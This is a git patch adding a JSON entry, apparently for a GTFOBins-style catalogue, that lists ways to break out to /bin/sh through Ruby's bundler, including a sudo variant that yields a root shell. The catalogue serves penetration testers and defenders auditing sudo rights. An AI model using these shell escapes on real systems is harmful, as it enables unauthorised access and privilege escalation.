From 663474e3019e2359104e0e7fd5ddb168aea5682d Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Sat, 14 Mar 2020 16:24:54 +0100 Subject: [PATCH] add data source for bundler --- data/bundler.json | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 data/bundler.json diff --git a/data/bundler.json b/data/bundler.json new file mode 100644 index 0000000..7d238ba --- /dev/null +++ b/data/bundler.json @@ -0,0 +1,29 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "bundler help\n!/bin/sh\n" + }, + { + "code": "export BUNDLE_GEMFILE=x\nbundler exec /bin/sh\n" + }, + { + "code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler exec /bin/sh\n" + }, + { + "description": "This spawns an interactive shell via 'irb'.", + "code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler console\nsystem('/bin/sh -c /bin/sh')\n" + }, + { + "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/Gemfile\ncd $TF\nbundler install\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "sudo bundler help\n!/bin/sh\n" + } + ] + } +} \ No newline at end of file